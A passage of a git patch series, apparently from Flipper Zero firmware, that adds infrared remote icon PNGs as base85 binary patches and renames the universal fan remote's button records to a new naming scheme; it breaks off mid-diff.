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 diff --git a/assets/icons/Infrared/TrackNext_25x27.png b/assets/icons/Infrared/TrackNext_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..7b8f283915e45ba2289fbee3ff5413fea15fb461 GIT binary patch literal 3651 zcmaJ^c{o(>+dsBKS&}6rV?>K(W-P^I?8~STjcrt_F$TkI%?xIQENPQ1Th@e<8rqae zwxp0PiiEOcNoYt+vi-*Q_pSH+PT85Co`Qx;teWhSs7hoHX45P!cc*mKon9kcb8vbzK@| zfyQmXedkBs;y?-j5Luy?VBn4fF!jUUR0QZLPVQF#dh)jyivn>1K*nynor31ifK#rK zXl=pTIv|g24%QW}Eft9Hc%o+~7*Qnx1jS<#rOZzO5gC@+Eda@wN(g&63T;i z)(jS(q{eWN0zhqZYHRwTPJLNU>Kmot?=yqLYQuHJ2bNfcJ<>j6BjD`xEcLC(aUoRO zW&luH?0CLvWR^HSHZnBkGfw3Gc$vQ%Fhc>Gs?83pR$dVl2BZ(Sb9+yYj&=)C8wBnL z)&vwE1A5&6zkx+h{XVh0qvCHu7GqgP%jP?BZ#XrYsB9PCv}szy>qZsybFAr_{t#s_ zHhh8qbhR&J1~{E*o>5X;5WR95OAabU$B#D)Tf)e^arM=Pn6oSKdpd><9vs(}yF81z z#Bl;UG_ancldRR6Qio+G&g#vormcu22TK6#^NzKLpKN^GOsoz6CLkCqiRlai%){q& zt|)Cv0;GKn^jJIqNUm8-FxL_QTGIGc(cJUkA(kv8RYT-S?kM9d9L=Kn4(YIUX0$0h9E(@&SAN$_1NKmoQ424f42AjGMj<24pz4doP67{Od~{Qv7YG# ze~^f=Wov#@+o6`LablO`)|1J|osvygM-GdtX(Z~|Z?X?S_91l&oeNDnr3u+6&B;Vk z)29*9hY@U0dQy3!RHEb6rKT4n<+AXX7l%<|`8&~tDKZBQ@n)mKH?QkiX5`&D(psGR zPV~-2`1Paqq`V*}i1UTwtpZ2()q}wq;}6*f+tk`5+Ro?*>6qy}==Lx1DG4vx z-y70f-Rm_?o0gxR?BxbhbIfzJbLQbBI4@AFVqe9PikOPN!1k}EZ*h~X39>hU0 zRJ?Ilc0ew+`a@;ka$L+!o9vedWB0{2r1hqSHjAV=r199-+)UkAZu4&M+4kMXC$%R@ z-R?vuW%sPjS@5jpC$~$oO6r5MNCUFNvI%=S_slz!dtp<{Q{q#ZQyZp@7qAN&3#5g1 zm6q)?D%}Sd2SRC#z?L8)wQ{m>$lyhBeesJ4cVA`S8}ytxLxo$15}RexgVGh8Nkx~7 z$k#)fQ%9A)RdhanJ719XEUUld1L@tz7R1Z2yGstbS;|eGFA!XdA2U46@adM%IYn7T zb#sa1kP|^CJWecC?QndQt(n^mB{lZd9~-P{K646giopMBn-DU6Wh!_*#{GZT* zeA)g)G!ZwI#fjkD;Y2bo{Ir=(mtkz(DK>p+q`s#fap^N%aGaQ_pFNW4lE%Q5j`rt2 zRT!ISYt9We@i6pA3^j_mCX@cqY&05V=>*y4I9fz@P}%zZTvm*uO?7@;{*edeoP#D; z$8y|K7mPk02($X-ciz!9@Rh!pBU+1Le+Tg51_(9@}<|$w5{j zkG|6%@LB!3sJ%VEOCmN#tbVB$>_gsJVBr%HN{v&G{LL66M*rQRS1Q zgP#~TLj33BTgzHsw+b0z4X2N_JYn~Jzp<}iAtdLlXS3T%$=&km51PH*H6Me|%t=P8 z$Q}5^O_{2Eti^N>sIm#0CwG2}`k0{PrCd=n7XFcA7wq^lH{s09GaDCdxRd@23bFrQ zP0d3w5_(_U4kVm9niWCm&6>^(eoQ^OSF+Ax^!cuVTcKw@JAJv)_M-nq>p;fY@_Ero zBulFkUK7aHDInz`Zd7rxUZ&^%gLG_w{tWq=6?n) zOe+M7e?#?qh9ofWEm!xheBJm<>g(CE)d%=m(%{ciwWr!&ct~+2#V+KormVfaFw|++ zV%Mc^s~(q-qpGSbp;YzVyDfRB=wZ>;_SfNVYphB7-SL5y;iW_EnB|_CO^dPZHKnZL zIU4tF@jZBhdV^|Z8w)XeYq_MYFO19KRtz*$sb=h6HeYp`>-dFhD0<__GaV0IU54<^ z%`HV3YiwEnzGT>77|s+QMlhC!2Q0iPUU-l_3G0hTT>M;Few*S8^H&_57H00R8qpfCHu%#Uyjr9z)L3&Wweh73w1g5V8g~6fw;QGd(e=jiK8_nAXj<&Y_ z*B5_<0Q)f*R5%0@92~40tglO<`9fgE#>Nn+9z;)1hmX*qv&alAQ-@4f|E*w+r{ib@ zDuX~FgVq(XUX(xv0?d!}zbTNYe`Lw@e~*cOU=Svj3W4cD*Hiipba43pp(N5DG@XIQ z|4+RCr!d`xMa4tVcseDJhT|8`M}6HD6>detV;K~h3xz`beTq(g6b6OvN1=lFe-OLf z31n|dFn!NIa0dstJ(`im0)-#qK)pRVOE{`5Vb%x`uYzpIVR>%sgtVuKUP z#b#}7jc>Zvy$$D2?)KIeF3jHSP7BFekf=z98Lx&>K=MDDA@ZU}#OlZIW; zYaf(sSJQYCr&l)Vat5Q;hq}lgT3>>D*N)^wp-Qu#5F5V|FVMEQ=g1uw+zj}53CJkC SxG~3f0odCdwl1|i74;vAA8iN# literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/TrackNext_hvr_25x27.png b/assets/icons/Infrared/TrackNext_hvr_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..a4de4fc3cbe582349b8c79bbb7ec6e931e8bc792 GIT binary patch literal 3639 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 W@<`O{ko&lf02|BW7A0mL7ybo9V{1nM literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/TrackPrev_hvr_25x27.png b/assets/icons/Infrared/TrackPrev_hvr_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..838055341e568fed60b3e28a280fe839d2c9db9e GIT binary patch literal 3644 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 Date: Tue, 30 May 2023 00:12:46 +0300 Subject: [PATCH 090/100] Rename buttons in OFW naming scheme --- .../scenes/infrared_scene_universal_fan.c | 12 +- .../infrared_scene_universal_projector.c | 8 +- .../scenes/infrared_scene_universal_tv.c | 12 +- assets/resources/infrared/assets/audio.ir | 724 +++++++++--------- assets/resources/infrared/assets/fans.ir | 520 ++++++------- .../resources/infrared/assets/projectors.ir | 304 ++++---- assets/resources/infrared/assets/tv.ir | 680 ++++++++-------- 7 files changed, 1130 insertions(+), 1130 deletions(-) diff --git a/applications/main/infrared/scenes/infrared_scene_universal_fan.c b/applications/main/infrared/scenes/infrared_scene_universal_fan.c index 37657ac3c..967e15c24 100644 --- a/applications/main/infrared/scenes/infrared_scene_universal_fan.c +++ b/applications/main/infrared/scenes/infrared_scene_universal_fan.c @@ -25,7 +25,7 @@ void infrared_scene_universal_fan_on_enter(void* context) { &I_Power_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "POWER"); + infrared_brute_force_add_record(brute_force, i++, "Power"); button_panel_add_item( button_panel, i, @@ -37,7 +37,7 @@ void infrared_scene_universal_fan_on_enter(void* context) { &I_Mode_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "MODE"); + infrared_brute_force_add_record(brute_force, i++, "Mode"); button_panel_add_item( button_panel, i, @@ -49,7 +49,7 @@ void infrared_scene_universal_fan_on_enter(void* context) { &I_Vol_up_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "SPEED+"); + infrared_brute_force_add_record(brute_force, i++, "Speed_up"); button_panel_add_item( button_panel, i, @@ -61,7 +61,7 @@ void infrared_scene_universal_fan_on_enter(void* context) { &I_Vol_down_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "SPEED-"); + infrared_brute_force_add_record(brute_force, i++, "Speed_dn"); button_panel_add_item( button_panel, i, @@ -73,7 +73,7 @@ void infrared_scene_universal_fan_on_enter(void* context) { &I_Rotate_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "ROTATE"); + infrared_brute_force_add_record(brute_force, i++, "Rotate"); button_panel_add_item( button_panel, i, @@ -85,7 +85,7 @@ void infrared_scene_universal_fan_on_enter(void* context) { &I_Timer_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "TIMER"); + infrared_brute_force_add_record(brute_force, i++, "Timer"); button_panel_add_label(button_panel, 5, 11, FontPrimary, "Fan remote"); button_panel_add_label(button_panel, 20, 63, FontSecondary, "Speed"); diff --git 